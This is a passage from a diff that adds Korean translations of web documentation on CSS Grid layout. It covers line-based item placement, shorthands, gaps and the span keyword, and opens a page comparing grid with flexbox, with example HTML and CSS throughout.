+<h2 id="grid-column과_grid-row_단축용법"><code>grid-column</code>과 <code>grid-row</code> 단축용법</h2>
+
+<p>앞의 예제에선 각 아이템을 배치하기 위해 상당히 많은 코드가 작성되었습니다. 그래서 여기엔 분명 {{glossary("shorthand properties", "단축용법")}}이 있을 거란 예상을 충분히 할 수 있습니다. 실제 {{cssxref("grid-column-start")}}와 {{cssxref("grid-column-end")}} 프로퍼티는 {{cssxref("grid-column")}}으로 합칠 수 있으며, {{cssxref("grid-row-start")}}와 {{cssxref("grid-row-end")}}는 {{cssxref("grid-row")}} 프로퍼티로 정의할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-column: 1 / 2;
+ grid-row: 1 / 4;
+}
+.box2 {
+ grid-column: 3 / 4;
+ grid-row: 1 / 3;
+}
+.box3 {
+ grid-column: 2 / 3;
+ grid-row: 1 / 2;
+}
+.box4 {
+ grid-column: 2 / 4;
+ grid-row: 3 / 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grid_Shorthands', '300', '330') }}</p>
+</div>
+
+<h3 id="기본_폭(spans)">기본 폭(spans)</h3>
+
+<p>위 예제에선, 프로퍼티의 사용법을 설명하려고 모든 행과 열의 마지막 라인을 지정하였습니다. 하지만, 아이템이 오직 하나의 트랙만 차지한다면 <code>grid-column-end</code>와 <code>grid-row-end</code> 값은 생략할 수 있습니다. 그리드는 기본적으로 하나의 트랙에 걸치게 돼 있습니다. 이 말은 처음의 장황했던 예제가 다음처럼 단축될 수도 있습니다:</p>
+
+<div id="End_Lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-column-start: 1;
+ grid-row-start: 1;
+ grid-row-end: 4;
+}
+.box2 {
+ grid-column-start: 3;
+ grid-row-start: 1;
+ grid-row-end: 3;
+}
+.box3 {
+ grid-column-start: 2;
+ grid-row-start: 1;
+}
+.box4 {
+ grid-column-start: 2;
+ grid-column-end: 4;
+ grid-row-start: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('End_Lines', '300', '330') }}</p>
+</div>
+
+<p>또한, 단축용법을 사용했던 예제 중 오직 하나의 트랙에 걸쳐 있는 아이템의 경우에는 뒤로 누운 슬래쉬와 두 번째 값을 생략하고 다음처럼 정의할 수 있습니다.</p>
+
+<div id="New_Shorthand">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-column: 1 ;
+ grid-row: 1 / 4;
+}
+.box2 {
+ grid-column: 3 ;
+ grid-row: 1 / 3;
+}
+.box3 {
+ grid-column: 2 ;
+ grid-row: 1 ;
+}
+.box4 {
+ grid-column: 2 / 4;
+ grid-row: 3 ;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('New_Shorthand', '300', '330') }}</p>
+</div>
+
+<h2 id="grid-area_프로퍼티"><code>grid-area</code> 프로퍼티</h2>
+
+<p>우리는 여기서 한 발 더 나가 각 영역을 단 하나의 프로퍼티인 {{cssxref("grid-area")}}로 정의할 수도 있습니다. <code>grid-area</code> 값의 순서는 다음과 같습니다.</p>
+
+<ul>
+ <li>grid-row-start</li>
+ <li>grid-column-start</li>
+ <li>grid-row-end</li>
+ <li>grid-column-end</li>
+</ul>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+ grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+ grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+ grid-area: 3 / 2 / 4 / 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('grid-area_프로퍼티', '300', '330') }}</p>
+
+<p><code>grid-area</code> 값의 순서는 약간 이상하게 보일 수도 있는데, 예를 들어 마진과 패딩을 단축용법을 써서 지정할 때의 순서와 완전 정반대입니다. 하지만, 그리드가 CSS 문서 작성 모드(CSS Writing Modes) 표준 명세서에 정의된 문서 흐름과 관련된 방향을 채용해서 사용한다는 것을 알게 되면 이해하기 쉽습니다. 차후에 그리드가 문서 작성 모드에 따라 어떻게 작용하는지 알아볼 예정입니다만, 개념상 다음과 같이 문서 흐름과 관련된 네 가지 방향이 있습니다:</p>
+
+<ul>
+ <li>block-start</li>
+ <li>block-end</li>
+ <li>inline-start</li>
+ <li>inline-end</li>
+</ul>
+
+<p>예를 들자면, 영문으로 쓰인 문서는 왼쪽에서 오른쪽으로 읽습니다. 이 경우 block-start는 그리드 컨테이너의 맨 위쪽에 있는 가로 행 라인이 차지하고, block-end는 컨테이너의 매 마지막 행에 있는 라인에 해당합니다. inline-start는 항상 현재의 문서 작성 모드에 따라 텍스트가 써지는 시작 지점이기 때문에 맨 왼쪽에 있는 세로 열 라인이 여기에 해당하고, inline-end는 그리드의 오른쪽 마지막 끝에 있는 세로 열 라인이 됩니다.</p>
+
+<p><code>grid-area</code> 프로퍼티를 써서 그리드 영역을 지정할 땐, 우선 시작 라인인 <code>block-start</code>와 <code>inline-start</code>를 먼저 정의하고, 나중에 마지막 라인으로 <code>block-end</code>와 <code>inline-end</code>를 정의합니다. 이것은 보통 우리가 top, right, bottom 그리고 left 순서의 물리적 프로퍼티를 사용하는 데 익숙하다는 점을 생각하면 이상하게 보일 수도 있지만, 웹사이트의 문서 작성 모드가 여러 방향일 수 있다는 점을 고려하면 이해가 쉬우실 겁니다.</p>
+
+<h2 id="거꾸로_세기">거꾸로 세기</h2>
+
+<p>우리는 또한 그리드의 블록(block)과 인라인(inline) 지점의 끝에서부터 거꾸로 셀 수도 있는데, 영문 문서의 경우 이것은 맨 오른쪽 세로 열 라인과 마지막 가로 행 라인이 여기에 해당합니다. 이 라인들은 <code>-1</code>로 지칭할 수 있으며, 여기서 거꾸로 셀 수도 있습니다. 그래서 끝에서 두 번째 라인은 <code>-2</code>가 됩니다. 한 가지 주의할 점은, 여기서 말하는 마지막 라인은 <em>명시적으로</em> <code>grid-template-columns</code>와 <code>grid-template-rows</code>로 정의한 그리드에 있는 마지막 라인을 가리키며, 이 바깥에 있는 <em>잠재적 그리드</em>에 추가된 행이나 열을 고려하지는 않습니다.</p>
+
+<p>다음 예제에는 아이템을 배치할 때 그리드의 오른쪽과 아래에서부터 작업을 시작해서 이전에 작성했던 레이아웃을 거꾸로 뒤집어 보았습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-column-start: -1;
+ grid-column-end: -2;
+ grid-row-start: -1;
+ grid-row-end: -4;
+}
+.box2 {
+ grid-column-start: -3;
+ grid-column-end: -4;
+ grid-row-start: -1;
+ grid-row-end: -3;
+}
+.box3 {
+ grid-column-start: -2;
+ grid-column-end: -3;
+ grid-row-start: -1;
+ grid-row-end: -2;
+}
+.box4 {
+ grid-column-start: -2;
+ grid-column-end: -4;
+ grid-row-start: -3;
+ grid-row-end: -4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('거꾸로_세기', '300', '330') }}</p>
+
+<h3 id="그리드_전체에_걸치도록_아이템_늘리기">그리드 전체에 걸치도록 아이템 늘리기</h3>
+
+<p>아이템을 그리드 전체에 걸치도록 늘리려 할 때 유용한 방법으로 다음과 같이 그리드의 시작과 끝의 라인을 지정해줄 수 있습니다:</p>
+
+<pre class="brush: css">.item {
+ grid-column: 1 / -1;
+}
+</pre>
+
+<h2 id="경계_여백_혹은_간격">경계 여백 혹은 간격</h2>
+
+<p>CSS 그리드 표준 명세서에는 {{cssxref("grid-column-gap")}}과 {{cssxref("grid-row-gap")}} 프로퍼티를 써서 열과 행 트랙 사이에 경계 여백을 정의해 줄 수 있는 기능이 포함되어 있습니다. 이것은 다중 칼럼 레이아웃에 있는 {{cssxref("column-gap")}} 프로퍼티와 비슷하게 작용해서 트랙 사이의 간격을 지정합니다.</p>
+
+<p>간격은 오직 그리드의 트랙 사이에서만 위치하고, 컨테이너의 위나 아래 혹은 왼쪽과 오른쪽에 공간을 추가하지 않습니다. 이전 예제에 있는 그리드 컨테이너에 여기에 소개한 프로퍼티를 사용하여 간격을 추가한 모습을 아래에서 확인하실 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-column: 1 ;
+ grid-row: 1 / 4;
+}
+.box2 {
+ grid-column: 3 ;
+ grid-row: 1 / 3;
+}
+.box3 {
+ grid-column: 2 ;
+ grid-row: 1 ;
+}
+.box4 {
+ grid-column: 2 / 4;
+ grid-row: 3 ;
+}
+.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+ grid-column-gap: 20px;
+ grid-row-gap: 1em;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('경계_여백_혹은_간격', '300', '350') }}</p>
+
+<h3 id="그리드_간격의_단축용법">그리드 간격의 단축용법</h3>
+
+<p>앞서 소개한 두 개의 프로퍼티 또한 단축용법인 {{cssxref("grid-gap")}}으로 표현해 줄 수 있습니다. 만약에 <code>grid-gap</code> 값으로 하나만 지정하면, 열과 행 간격 모두에 같이 적용됩니다. 그리고 두 개의 값을 지정하면, 처음 것은 <code>grid-row-gap</code>에 사용되고 두 번째 것은 <code>grid-column-gap</code>에 사용됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+ grid-gap: 1em 20px;
+}
+</pre>
+
+<p>라인을 기준으로 한 아이템 배치 관점에서 보면, 이 간격은 마치 라인에 너비를 더한 것처럼 작용합니다. 특정 라인을 시작으로 배치되는 아이템은 간격 다음에 있는 지점에서부터 놓이게 되며, 간격을 차지하거나 그 안에 배치될 수 없습니다. 만약에 경계 여백이 일반 트랙처럼 작용하길 원하시면, 대신에 해당 목적의 트랙을 따로 지정해서 사용하길 바랍니다.</p>
+
+<h2 id="span_키워드_사용법"><code>span</code> 키워드 사용법</h2>
+
+<p>번호를 붙여서 시작과 마지막 라인을 지정하는 법과 더불어, 시작 라인을 지정한 후 원하는 만큼의 영역을 가로질러 확장하는 트랙의 수를 지정해서 사용하실 수도 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box1 {
+ grid-column: 1;
+ grid-row: 1 / span 3;
+}
+.box2 {
+ grid-column: 3;
+ grid-row: 1 / span 2;
+}
+.box3 {
+ grid-column: 2;
+ grid-row: 1;
+}
+.box4 {
+ grid-column: 2 / span 2;
+ grid-row: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('span_키워드_사용법', '300', '330') }}</p>
+
+<p>또한, <code>grid-row-start</code>/<code>grid-row-end</code> 그리고 <code>grid-column-start/grid-column-end</code> 값에도 <code>span</code> 키워드가 쓰일 수 있습니다. 다음의 두 예제에서는 서로 같은 그리드 영역을 만듭니다. 첫 번째 예제에서는 가로 열의 시작 라인을 지정한 후에, 마지막 라인은 3개의 라인을 가로질러 위치하도록 설정하였습니다. 그래서 영역은 1번 라인부터 시작해서 3개의 라인을 가로질러 4번 라인까지 차지하게 됩니다.</p>
+
+<pre>.box1 {
+ grid-column-start: 1;
+ grid-row-start: 1;
+ grid-row-end: span 3;
+}
+</pre>
+
+<p>두 번째 예제에선, 아이템이 끝나는 지점에 있는 마지막 라인을 지정한 다음 시작 라인을 <code>span 3</code>으로 설정하였습니다. 이 얘기는 아이템이 지정한 마지막 가로 열 라인으로부터 위쪽으로 확장해야 한다는 뜻입니다. 이렇게 하면, 영역은 4번 라인부터 시작해서 3개의 라인을 가로질러 1번 라인까지 차지하게 됩니다.</p>
+
+<pre>.box1 {
+ grid-column-start: 1;
+ grid-row-start: span 3;
+ grid-row-end: 4;
+}
+</pre>
+
+<p>그리드 라인을 기준으로 아이템을 배치하는 법에 익숙해지시려면, 다양한 수의 열로 이뤄진 그리드에 아이템들을 배치하시면서 몇 가지 일반적 레이아웃을 만들어보는 여러 시도를 해보시기 바랍니다. 여기서 주의할 점은 모든 아이템의 위치를 일일이 지정하지 않았다면, 나머지 아이템들은 자동 배치 규칙에 따라 배치된다는 것을 명심하시기 바랍니다. 이런 레이아웃이 원하시는 것일 수도 있지만, 만약에 의도치 않은 곳에 아이템이 표시된다면, 해당 아이템의 위치를 지정해 주었는지 꼭 확인해 보십시오.</p>
+
+<p>또한, 그리드에 배치된 아이템들은 원하시면 명확히 지정해서 서로 자리가 겹치게 할 수도 있다는 것을 잊지 마십시오. 이렇게 하면 특이하고 멋진 효과를 만들어 낼 수도 있습니다만, 만약에 시작 혹은 마지막 라인을 잘못 지정해 놓았다면, 의도치 않은 곳에서 서로 겹쳐 버리는 결과를 가져올 수도 있습니다. <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>는 배우시면서 매우 유용하게 사용될 수 있는데, 특히나 그리드가 상당히 복잡한 경우에는 더 그렇습니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+ <ol>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html
new file mode 100644
index 0000000000..8483386140
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/relationship_of_grid_layout/index.html
@@ -0,0 +1,625 @@
+---
+title: Relationship of grid layout to other layout methods
+slug: Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout
+tags:
+ - CSS
+ - CSS Grids
+ - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
+---
+<p>CSS 그리드 레이아웃은 레이아웃 작업을 위한 전체 시스템 중의 일부로서, 다른 CSS 기술과 함께 어우러져 작동하도록 설계되었습니다. 이번 가이드에서는 이미 사용하고 계신 다른 기술과 그리드가 어떻게 잘 어울리는지 설명해 드리겠습니다.</p>
+
+<h2 id="그리드와_플랙스박스">그리드와 플랙스박스</h2>
+
+<p>CSS 그리드 레이아웃과 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS 플랙스박스(Flexbox) 레이아웃</a>의 기본 차이점이라면, 플랙스박스는 한 줄로 된 행 <em>혹은</em> 열 방향의 레이아웃과 같이 일차원의 레이아웃을 염두에 두고 설계되었다는 점입니다. 하지만, 그리드는 행과 열 모두를 염두에 둔 2차원적 레이아웃을 고려해서 설계되었습니다. 그러나 두 기술은 몇 가지 공통된 면모를 공유하고 있어서, 이미 플랙스박스 사용법을 익히셨다면 그리드를 이해하는 데도 도움이 될 만한 둘 사이의 유사점을 목격하실 수도 있습니다.</p>
+
+<h3 id="1차원적_대비_2차원적_레이아웃">1차원적 대비 2차원적 레이아웃</h3>
+
+<p>간단한 예를 들면, 1차원 및 2차원 레이아웃의 차이점은 확연해집니다.</p>
+
+<p>첫 번째 예제에서는 플랙스박스를 써서 일련의 네모난 상자들을 배치하였습니다. 컨테이너 안에는 다섯 개의 자식 아이템이 있고, 플랙스 기준값 200픽셀을 기반으로 아이템이 늘어나거나 줄어들도록 flex 프로퍼티 값을 지정하였습니다.</p>
+
+<p>또한, {{cssxref("flex-wrap")}} 프로퍼티 값으로 <code>wrap</code>을 지정해서, 만약 컨테이너 안에 있는 공간이 플랙스 기준값 너비의 아이템들을 모두 나열하지 못할 만큼 좁아진다면, 다음 행으로 줄 바꿈 하도록 하였습니다.</p>
+
+<div id="onedtwod">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: flex;
+ flex-wrap: wrap;
+}
+.wrapper &gt; div {
+ flex: 1 1 200px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('onedtwod', '500', '230') }}</p>
+
+<p>위의 그림에서 보시다시피, 두 개의 아이템이 다음 행으로 줄 바꿈 한 것을 확인하실 수 있습니다. 이 아이템들은 남은 공간을 공유하며 아래 위치한 아이템들은 위에 있는 것들과는 일렬로 정렬되지 않았습니다. 이는 플랙스 아이템이 다음 열로 감길 때, 새로운 각각의 행 (또는 세로 열 기준으로 작업할 경우 각각의 열)이 새로운 플랙스 컨테이너가 되기 때문입니다. 그래서 공간의 분배는 가로 행을 기준으로 이루어집니다.</p>
+
+<p>여기서 자주 던지는 질문으로, 그러면 이런 아이템을 어떻게 하면 일렬로 정렬할 수 있을까입니다. 이럴 땐 2차원적 레이아웃 방법을 고려해 볼 수 있습니다. 아이템을 정렬할 때 행과 열을 기준으로 제어하고 싶다면, 이런 경우엔 그리드가 제격입니다.</p>
+
+<h3 id="CSS_그리드를_이용한_동일_레이아웃_구현">CSS 그리드를 이용한 동일 레이아웃 구현</h3>
+
+<p>다음 예제에선 그리드를 써서 똑같은 레이아웃을 만들어 보았습니다. 이번엔 <code>1fr</code> 크기로 된 세 개의 세로 열 트랙으로 이루어져 있습니다. 아이템 자체에는 아무것도 설정할 필요가 없고, 아이템들은 생성된 그리드의 각 셀에 하나씩 배치됩니다. 보시다시피 아이템들은 행과 열에 줄지어서 그리드 위에 정확히 맞추어져 있습니다. 아이템이 다섯 개인 경우, 2번째 행의 끝부분은 빈 곳으로 남게 됩니다.</p>
+
+<div class="Two_Dimensional_With_Grid">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}</p>
+</div>
+
+<p>그리드와 플랙스박스 둘 사이의 선택을 고민할 때 자신에게 던질 수 있는 간단한 질문으로:</p>
+
+<ul>
+ <li>레이아웃을 조정할 때 오직 가로 행 <u><em>혹은</em></u> 세로 열 만이 고려 대상이라면 – 플랙스박스를 사용하십시오</li>
+ <li>레아아웃을 조정할 때 가로 행과 세로 열 <u><em>모두</em></u>를 염두에 두어야 한다면 – 그리드를 사용하십시오</li>
+</ul>
+
+<h3 id="콘텐츠_중심_혹은_레이아웃_먼저">콘텐츠 중심 혹은 레이아웃 먼저?</h3>
+
+<p>1차원 대비 2차원의 차이점 외에도, 레이아웃을 할 때 플랙스박스와 그리드 중에서 어떤 것을 써야 할지를 결정하는 또 다른 요인이 있습니다. 플랙스박스는 좀 더 콘텐츠에 초점이 맞춰져 있습니다. 플랙스박스의 이상적인 사용 사례는 여러 아이템을 컨테이너에 고르게 배치하려는 경우입니다. 여기서 콘텐츠의 크기가 각 아이템이 차지하는 공간을 결정합니다. 아이템이 새로운 줄로 줄 바꿈 되면, 아이템의 크기와 <em>해당 줄</em>의 사용 가능한 공간에 따라 간격이 조정됩니다.</p>
+
